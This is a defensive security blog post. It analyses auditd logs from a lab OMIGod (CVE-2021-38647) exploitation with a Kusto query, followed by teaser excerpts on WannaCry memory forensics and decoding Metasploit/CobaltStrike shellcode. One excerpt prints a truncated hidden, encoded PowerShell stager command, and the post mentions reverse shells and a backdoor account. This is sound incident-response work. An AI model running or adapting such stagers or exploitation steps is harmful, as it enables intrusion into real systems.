Skip to main content

CVE-2021-38647 OMIGod Exploitation Log Analysis using Kusto Query Language

INTRODUCTION

This post walks you through the log analysis of OMIGod vulnerability exploitation artefacts using kusto query language (KQL). The raw json logs from exploited linux device are fetched into Azure KQL data explorer using externaldata() function and analysed in KQL instance. I have been learning Kusto Query Language as part of my routine and KQL experts can write better queries to fine tune json data than what I have mentioned here 

The Linux device with vulnerable OMI version is configured with Linux Audit Daemon with the best practice configuration 

This blog explains about setting up your own private pwn lab for OMI exploitation 

This great Linux Logging with AuditD video by IppSec  explains how to set up linux logging with Auditd. Below are all the comments by IppSec from the video (no comments from me and full credit goest to IppSec)

  • Installing Auditd
  • Downloading a good baseline ruleset from github 
  • Going over the baseline file to understand how logging works
  • What the -p flag does with files. Logging read/write/execute/attribute change events
  • If you want CWD in your logs, uncomment this line
  • Logging priv_esc events
  • Excluding system accounts from log captures
  • Fun detections to find recon and suspicious activity
  • Logging when users fail to access files in special directories
  • Running the omigod exploit and getting a reverse shell echo/base64
  • Running ausearch to detect what we had done by searching for commands ran by root
  • Using some bashfu to show only commands ran by a ppid
  • Looking for the suspicious activity
  • Analyzing a detection rule for this and understanding the importance of not excluding CWD from logs
  • Checking if mkfifo is detected... yep
  • Installing Laurel to convert Auditd's multiline format to singleline JSON
  • Installing Rust then compiling Laurel
  • Removing End Of Event from Auditd config to see if that fixes the Laurel bug (IT DOES!)
  • Viewing our Auditd logs in JSON Format!  SIEMS will love this!
  • Going over aureport to show some things
  • Looking for why we have so many syscall failures

The above set up has been followed and a successful CVE-2021-38647 exploitation is performed. Find the logs for OMIGod exploited linux device in my Github  gist. 

This blog uses Azure monitor log analytics demo environment  to retrieve the json logs over KQL  externaldata() function. The KQL queries  can be found here on my Github gist 

Identify commands executed from current working directory /var/opt/microsoft/scx/tmp upon a successful exploitation using below KQL query 

//Identify commands executed from current working directory CWD
let omigod_logs = (externaldata ( SYSCALL: string, PROCTITLE: string, PARENT_INFO: string  , PATH: string, CWD: string, ID: string, error: string, 
CONFIG_CHANGE: string, EXECVE: string, USER_END: string, USER_ACCT: string, CRED_DISP: string, USER_START: string, USER_CMD: string, SOCKADDR: string, CRED_REFR: string, 
CRED_ACQ: string, LOGIN: string, USER_AUTH: string, SERVICE_START: string, notice: string, USER_CHAUTHTOK: string, ADD_GROUP: string, DAEMON_START: string, SERVICE_STOP: string, 
ADD_USER: string, values: dynamic)
[@"https://gist.githubusercontent.com/cbresponse/f0500743f0f1c0ad814883ff88bd16f3/raw/a43e6ad7393dda2e412ce481ad506e4fc1807906/omigod2.json"]
with (format="multijson"));
omigod_logs
| extend PARENT_INFO_args=tostring(parse_json(PARENT_INFO).ARGV), parent_launch_datetime=unixtime_seconds_todatetime(tolong(parse_json(PARENT_INFO).launch_time)),
PROCTITLE_args=tostring(parse_json(PROCTITLE).ARGV), CWD_args=tostring(parse_json(CWD).cwd), EXECVE_args=tostring(parse_json(EXECVE).ARGV)
| where isnotempty(EXECVE_args)
//Whitelisting few directories for this example, usually all logs are crucial for any investigation 
| where CWD_args != "/etc/audit/rules.d"
| where CWD_args != "/var/log/laurel"
| where CWD_args != "/var/log/audit"
| where CWD_args != "/tmp"
| where CWD_args != "/root"
| where CWD_args != "/"
| distinct  parent_launch_datetime, EXECVE_args, CWD_args
| sort by parent_launch_datetime asc

Identify recon activity and adding a backdoor user account 



Find all KQL queriers here on my Github gist

Comments

Popular posts from this blog

Memory Analysis of WannaCry Ransomware

Introduction  This post explains the memory dump analysis of WannaCry infected system using volatility (An open source memory forensics framework) and other open source tools. It doesn't cover the analysis of initial infection vector, propagation and recovery of infected system. The objective is to leverage memory forensic analysis to uncover and extract Indicators of Compromise (IoC)  WannaCry  WannaCry (or WannaCrypt, WanaCrypt0r 2.0, Wanna Decryptor) is a ransomware program targeting the Microsoft Windows operating system. On Friday, 12 May 2017, a large cyber-attack using it was launched, infecting more than 230,000 computers in 150 countries, demanding ransom payments in the cryptocurrency bitcoin in 28 languages.The attack has been described by Europol as unprecedented in scale. https://en.wikipedia.org/wiki/WannaCry_ransomware_attack Discalimer You are dealing with real malware samples Don’t expose them to internal networks or internet Analyze them in a controlle

Decoding Metasploit and CobaltStrike shells

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH

Memory dump analysis of Donny's System

Introduction  This post solves the mystery of Donny's System   and outlines how to utilize memory forensics methodology to uncover artifacts from memory dumps Tools: Volatility, Yara  & Windows Powershell Analysis Six-step investigative methodology by SANS Identify rogue processes  Analyze process DLLs and handles   Review network artifacts  Look for evidence of code injection  Check for signs of rootkit Dump suspicious processes and drivers  Run volatility  imageinfo plugin   to identify profile  PS C:\volatility> .\vol.exe -f .\unknown.vmem imageinfo Run Volatility  pslist plugin to see active running processes PS C:\volatility> .\vol.exe -f .\unknown.vmem --profile=WinXPSP3x86 pslist Just to remind that all process creation and termination timings are specified in UTC. Ensure to change them to system timezone while correlating the events with other sources of evidence game.exe clearly looks suspicious as it ran and exit in a short span o